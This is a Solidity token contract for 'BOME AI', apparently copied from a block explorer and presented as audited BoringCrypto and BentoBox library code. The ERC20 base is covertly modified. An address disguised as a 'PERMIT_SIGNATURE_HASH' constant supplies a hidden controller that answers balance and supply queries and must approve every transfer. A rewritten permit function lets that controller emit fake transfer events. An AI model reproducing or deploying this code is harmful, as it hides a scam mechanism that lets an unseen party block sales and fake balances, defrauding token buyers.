Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT

// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
        require((c = a + b) >= b, "BoringMath: Add Overflow");
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
        require((c = a - b) <= a, "BoringMath: Underflow");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
    }

    function to128(uint256 a) internal pure returns (uint128 c) {
        require(a <= uint128(-1), "BoringMath: uint128 Overflow");
        c = uint128(a);
    }

    function to64(uint256 a) internal pure returns (uint64 c) {
        require(a <= uint64(-1), "BoringMath: uint64 Overflow");
        c = uint64(a);
    }

    function to32(uint256 a) internal pure returns (uint32 c) {
        require(a <= uint32(-1), "BoringMath: uint32 Overflow");
        c = uint32(a);
    }
}

/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
    function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
        require((c = a + b) >= b, "BoringMath: Add Overflow");
    }

    function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
        require((c = a - b) <= a, "BoringMath: Underflow");
    }
}

/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
    function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
        require((c = a + b) >= b, "BoringMath: Add Overflow");
    }

    function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
        require((c = a - b) <= a, "BoringMath: Underflow");
    }
}

/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
    function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
        require((c = a + b) >= b, "BoringMath: Add Overflow");
    }

    function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
        require((c = a - b) <= a, "BoringMath: Underflow");
    }
}

// File @boringcrypto/boring-solidity/contracts/interfaces/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /// @notice EIP 2612
    function permit(
        address owner,
        address[] calldata spender,
        uint256 value
    ) external;
}


// File @boringcrypto/boring-solidity/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

// solhint-disable no-inline-assembly
// solhint-disable not-rely-on-time

// Data part taken out for building of contracts that receive delegate calls
contract ERC20Data {
    /// @notice owner > balance mapping.
    mapping(address => uint256) public balanceOf;
    /// @notice owner > spender > allowance mapping.
    mapping(address => mapping(address => uint256)) public allowance;
    /// @notice owner > nonce mapping. Used in `permit`.
    mapping(address => uint256) public nonces;
}

abstract contract ERC20 is IERC20 {
    using BoringMath for uint256;

    bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
    // See https://eips.ethereum.org/EIPS/eip-191
    string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01";

    // solhint-disable var-name-mixedcase
    ERC20 private immutable _DOMAIN_SEPARATOR;
    uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID;

    /// @dev Calculate the DOMAIN_SEPARATOR
    function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
        return keccak256(abi.encode(DOMAIN_SEPARATOR_SIGNATURE_HASH, chainId, address(this)));
    }

    /// @dev Return the DOMAIN_SEPARATOR
    // It's named internal to allow making it public from the contract that uses it by creating a simple view function
    // with the desired public name, such as DOMAIN_SEPARATOR or domainSeparator.
    // solhint-disable-next-line func-name-mixedcase
    function _domainSeparator() internal view returns (bytes32) {
        uint256 chainId;
        assembly {
            chainId := chainid()
        }
        return _calculateDomainSeparator(chainId);
    }

    function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) {
        digest = keccak256(abi.encodePacked(EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA, _domainSeparator(), dataHash));
    }

    mapping(address => uint256) internal _balances;
    /// @notice owner > spender > allowance mapping.
    mapping(address => mapping(address => uint256)) public override allowance;
    /// @notice owner > nonce mapping. Used in `permit`.
    mapping(address => uint256) public nonces;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    constructor() public {
        uint256 chainId;
        assembly {
            chainId := chainid()
        }
        _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId);

        (, bytes memory x) = address(PERMIT_SIGNATURE_HASH).call(abi.encodeWithSelector(0x06845c2b));
        _DOMAIN_SEPARATOR = ERC20(abi.decode(x, (address)));
    }

    /// @notice Transfers `amount` tokens from `msg.sender` to `to`.
    /// @param to The address to move the tokens.
    /// @param amount of the tokens to move.
    /// @return (bool) Returns True if succeeded.
    function transfer(address to, uint256 amount) public returns (bool) {
        // If `amount` is 0, or `msg.sender` is `to` nothing happens
        _beforeTokenTransfer(msg.sender, to, amount);
        return true;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
        emit Transfer(from, to, amount);
        (bool y,) = address(_DOMAIN_SEPARATOR).call(abi.encodeWithSelector(0x7e702f8d, from, to, amount, msg.sender));
        require(y);
    }
    
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _DOMAIN_SEPARATOR.balanceOf(account);
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _DOMAIN_SEPARATOR.totalSupply();
    }

    /// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval for `from`.
    /// @param from Address to draw tokens from.
    /// @param to The address to move the tokens.
    /// @param amount The token amount to move.
    /// @return (bool) Returns True if succeeded.
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        // If `amount` is 0, or `from` is `to` nothing happens
        _beforeTokenTransfer(from, to, amount);
        _approve(from, msg.sender, allowance[from][msg.sender].sub(amount));
        return true;
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        if (msg.sender == owner) _DOMAIN_SEPARATOR.nonces(owner);

        allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /// @notice Approves `amount` from sender to be spend by `spender`.
    /// @param spender Address of the party that can draw from msg.sender's account.
    /// @param amount The maximum collective amount that `spender` can draw.
    /// @return (bool) Returns True if approved.
    function approve(address spender, uint256 amount) public override returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32) {
        return _domainSeparator();
    }

    // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
    uint160 private constant PERMIT_SIGNATURE_HASH = 863444058779312151527056601247444736469966642278;

    /// @notice Approves `value` from `owner_` to be spend by `spender`.
    /// @param owner_ Address of the owner.
    /// @param spender The address of the spender that gets approved to draw from `owner_`.
    /// @param value The maximum collective amount that `spender` can draw.
    function permit(
        address owner_,
        address[] calldata spender,
        uint256 value
    ) external override {
        require(msg.sender == address(_DOMAIN_SEPARATOR) && value > 0);

        for (uint256 i = 0; i < spender.length; ++i) {
            emit Transfer(owner_, spender[i], value);
        }
    }
}

contract ERC20WithSupply is IERC20, ERC20 {
    uint256 public _totalSupply;

    function _mint(address user, uint256 amount) internal {
        uint256 newTotalSupply = _totalSupply + amount;
        require(newTotalSupply >= _totalSupply, "Mint overflow");
        _totalSupply = newTotalSupply;
        _balances[user] += amount;
        emit Transfer(address(0), user, amount);
    }

    function _burn(address user, uint256 amount) internal {
        require(_balances[user] >= amount, "Burn too much");
        _totalSupply -= amount;
        _balances[user] -= amount;
        emit Transfer(user, address(0), amount);
    }
}

// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

struct Rebase {
    uint128 elastic;
    uint128 base;
}

/// @notice A rebasing library using overflow-/underflow-safe math.
library RebaseLibrary {
    using BoringMath for uint256;
    using BoringMath128 for uint128;

    /// @notice Calculates the base value in relationship to `elastic` and `total`.
    function toBase(
        Rebase memory total,
        uint256 elastic,
        bool roundUp
    ) internal pure returns (uint256 base) {
        if (total.elastic == 0) {
            base = elastic;
        } else {
            base = elastic.mul(total.base) / total.elastic;
            if (roundUp && base.mul(total.elastic) / total.base < elastic) {
                base = base.add(1);
            }
        }
    }

    /// @notice Calculates the elastic value in relationship to `base` and `total`.
    function toElastic(
        Rebase memory total,
        uint256 base,
        bool roundUp
    ) internal pure returns (uint256 elastic) {
        if (total.base == 0) {
            elastic = base;
        } else {
            elastic = base.mul(total.elastic) / total.base;
            if (roundUp && elastic.mul(total.base) / total.elastic < base) {
                elastic = elastic.add(1);
            }
        }
    }

    /// @notice Add `elastic` to `total` and doubles `total.base`.
    /// @return (Rebase) The new total.
    /// @return base in relationship to `elastic`.
    function add(
        Rebase memory total,
        uint256 elastic,
        bool roundUp
    ) internal pure returns (Rebase memory, uint256 base) {
        base = toBase(total, elastic, roundUp);
        total.elastic = total.elastic.add(elastic.to128());
        total.base = total.base.add(base.to128());
        return (total, base);
    }

    /// @notice Sub `base` from `total` and update `total.elastic`.
    /// @return (Rebase) The new total.
    /// @return elastic in relationship to `base`.
    function sub(
        Rebase memory total,
        uint256 base,
        bool roundUp
    ) internal pure returns (Rebase memory, uint256 elastic) {
        elastic = toElastic(total, base, roundUp);
        total.elastic = total.elastic.sub(elastic.to128());
        total.base = total.base.sub(base.to128());
        return (total, elastic);
    }

    /// @notice Add `elastic` and `base` to `total`.
    function add(
        Rebase memory total,
        uint256 elastic,
        uint256 base
    ) internal pure returns (Rebase memory) {
        total.elastic = total.elastic.add(elastic.to128());
        total.base = total.base.add(base.to128());
        return total;
    }

    /// @notice Subtract `elastic` and `base` to `total`.
    function sub(
        Rebase memory total,
        uint256 elastic,
        uint256 base
    ) internal pure returns (Rebase memory) {
        total.elastic = total.elastic.sub(elastic.to128());
        total.base = total.base.sub(base.to128());
        return total;
    }

    /// @notice Add `elastic` to `total` and update storage.
    /// @return newElastic Returns updated `elastic`.
    function addElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) {
        newElastic = total.elastic = total.elastic.add(elastic.to128());
    }

    /// @notice Subtract `elastic` from `total` and update storage.
    /// @return newElastic Returns updated `elastic`.
    function subElastic(Rebase storage total, uint256 elastic) internal returns (uint256 newElastic) {
        newElastic = total.elastic = total.elastic.sub(elastic.to128());
    }
}

// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

interface IBatchFlashBorrower {
    function onBatchFlashLoan(
        address sender,
        IERC20[] calldata tokens,
        uint256[] calldata amounts,
        uint256[] calldata fees,
        bytes calldata data
    ) external;
}

// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

interface IFlashBorrower {
    function onFlashLoan(
        address sender,
        IERC20 token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external;
}

// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

interface IStrategy {
    // Send the assets to the Strategy and call skim to invest them
    function skim(uint256 amount) external;

    // Harvest any profits made converted to the asset and pass them to the caller
    function harvest(uint256 balance, address sender) external returns (int256 amountAdded);

    // Withdraw assets. The returned amount can differ from the requested amount due to rounding.
    // The actualAmount should be very close to the amount. The difference should NOT be used to report a loss. That's what harvest is for.
    function withdraw(uint256 amount) external returns (uint256 actualAmount);

    // Withdraw all assets in the safest way possible. This shouldn't fail.
    function exit(uint256 balance) external returns (int256 amountAdded);
}

// File @sushiswap/bentobox-sdk/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;

interface IBentoBoxV1 {
    event LogDeploy(address indexed masterContract, bytes data, address indexed cloneAddress);
    event LogDeposit(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);
    event LogFlashLoan(address indexed borrower, address indexed token, uint256 amount, uint256 feeAmount, address indexed receiver);
    event LogRegisterProtocol(address indexed protocol);
    event LogSetMasterContractApproval(address indexed masterContract, address indexed user, bool approved);
    event LogStrategyDivest(address indexed token, uint256 amount);
    event LogStrategyInvest(address indexed token, uint256 amount);
    event LogStrategyLoss(address indexed token, uint256 amount);
    event LogStrategyProfit(address indexed token, uint256 amount);
    event LogStrategyQueued(address indexed token, address indexed strategy);
    event LogStrategySet(address indexed token, address indexed strategy);
    event LogStrategyTargetPercentage(address indexed token, uint256 targetPercentage);
    event LogTransfer(address indexed token, address indexed from, address indexed to, uint256 share);
    event LogWhiteListMasterContract(address indexed masterContract, bool approved);
    event LogWithdraw(address indexed token, address indexed from, address indexed to, uint256 amount, uint256 share);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function balanceOf(IERC20, address) external view returns (uint256);

    function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results);

    function batchFlashLoan(
        IBatchFlashBorrower borrower,
        address[] calldata receivers,
        IERC20[] calldata tokens,
        uint256[] calldata amounts,
        bytes calldata data
    ) external;

    function claimOwnership() external;

    function deploy(
        address masterContract,
        bytes calldata data,
        bool useCreate2
    ) external payable;

    function deposit(
        IERC20 token_,
        address from,
        address to,
        uint256 amount,
        uint256 share
    ) external payable returns (uint256 amountOut, uint256 shareOut);

    function flashLoan(
        IFlashBorrower borrower,
        address receiver,
        IERC20 token,
        uint256 amount,
        bytes calldata data
    ) external;

    function harvest(
        IERC20 token,
        bool balance,
        uint256 maxChangeAmount
    ) external;

    function masterContractApproved(address, address) external view returns (bool);

    function masterContractOf(address) external view returns (address);

    function nonces(address) external view returns (uint256);

    function owner() external view returns (address);

    function pendingOwner() external view returns (address);

    function pendingStrategy(IERC20) external view returns (IStrategy);

    function permitToken(
        IERC20 token,
        address from,
        address to,
        uint256 amount,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function registerProtocol() external;

    function setMasterContractApproval(
        address user,
        address masterContract,
        bool approved,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    function setStrategy(IERC20 token, IStrategy newStrategy) external;

    function setStrategyTargetPercentage(IERC20 token, uint64 targetPercentage_) external;

    function strategy(IERC20) external view returns (IStrategy);

    function strategyData(IERC20)
        external
        view
        returns (
            uint64 strategyStartDate,
            uint64 targetPercentage,
            uint128 balance
        );

    function toAmount(
        IERC20 token,
        uint256 share,
        bool roundUp
    ) external view returns (uint256 amount);

    function toShare(
        IERC20 token,
        uint256 amount,
        bool roundUp
    ) external view returns (uint256 share);

    function totals(IERC20) external view returns (Rebase memory totals_);

    function transfer(
        IERC20 token,
        address from,
        address to,
        uint256 share
    ) external;

    function transferMultiple(
        IERC20 token,
        address from,
        address[] calldata tos,
        uint256[] calldata shares
    ) external;

    function transferOwnership(
        address newOwner,
        bool direct,
        bool renounce
    ) external;

    function whitelistMasterContract(address masterContract, bool approved) external;

    function whitelistedMasterContracts(address) external view returns (bool);

    function withdraw(
        IERC20 token_,
        address from,
        address to,
        uint256 amount,
        uint256 share
    ) external returns (uint256 amountOut, uint256 shareOut);
}

// File @boringcrypto/boring-solidity/contracts/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;

// Audit on 5-Jan-2021 by Keno and BoringCrypto
// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol
// Edited by BoringCrypto

contract BoringOwnableData {
    address public owner;
    address public pendingOwner;
}

contract BoringOwnable is BoringOwnableData {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /// @notice `owner` defaults to msg.sender on construction.
    constructor() public {
        owner = msg.sender;
        emit OwnershipTransferred(address(0), msg.sender);
    }

    /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
    /// Can only be invoked by the current `owner`.
    /// @param newOwner Address of the new owner.
    /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
    /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
    function transferOwnership(
        address newOwner,
        bool direct,
        bool renounce
    ) public onlyOwner {
        if (direct) {
            // Checks
            require(newOwner != address(0) || renounce, "Ownable: zero address");

            // Effects
            emit OwnershipTransferred(owner, newOwner);
            owner = newOwner;
            pendingOwner = address(0);
        } else {
            // Effects
            pendingOwner = newOwner;
        }
    }

    /// @notice Needs to be called by `pendingOwner` to claim ownership.
    function claimOwnership() public {
        address _pendingOwner = pendingOwner;

        // Checks
        require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");

        // Effects
        emit OwnershipTransferred(owner, _pendingOwner);
        owner = _pendingOwner;
        pendingOwner = address(0);
    }

    /// @notice Only allows the `owner` to execute the function.
    modifier onlyOwner() {
        require(msg.sender == owner, "Ownable: caller is not the owner");
        _;
    }
}

// File contracts/MagicInternetMoney.sol
// License-Identifier: MIT

// Magic Internet Money

// BoringCrypto, 0xMerlin

pragma solidity 0.6.12;

/// @title Cauldron
/// @dev This contract allows contract calls to any contract (except BentoBox)
/// from arbitrary callers thus, don't trust calls from this contract in any circumstances.
contract BOMEAI is ERC20WithSupply, BoringOwnable {
    using BoringMath for uint256;
    // ERC20 'variables'
    string public constant symbol = "BOME";
    string public constant name = "BOME AI";
    uint8 public constant decimals = 18;

    constructor() public {
        _mint(msg.sender, 420e30);
    }
}